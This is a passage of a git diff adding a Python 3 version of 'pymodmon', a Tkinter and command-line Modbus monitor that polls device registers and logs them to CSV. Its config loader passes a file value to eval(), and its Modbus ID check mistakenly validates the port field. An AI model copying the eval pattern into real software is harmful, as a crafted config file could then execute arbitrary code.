Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + 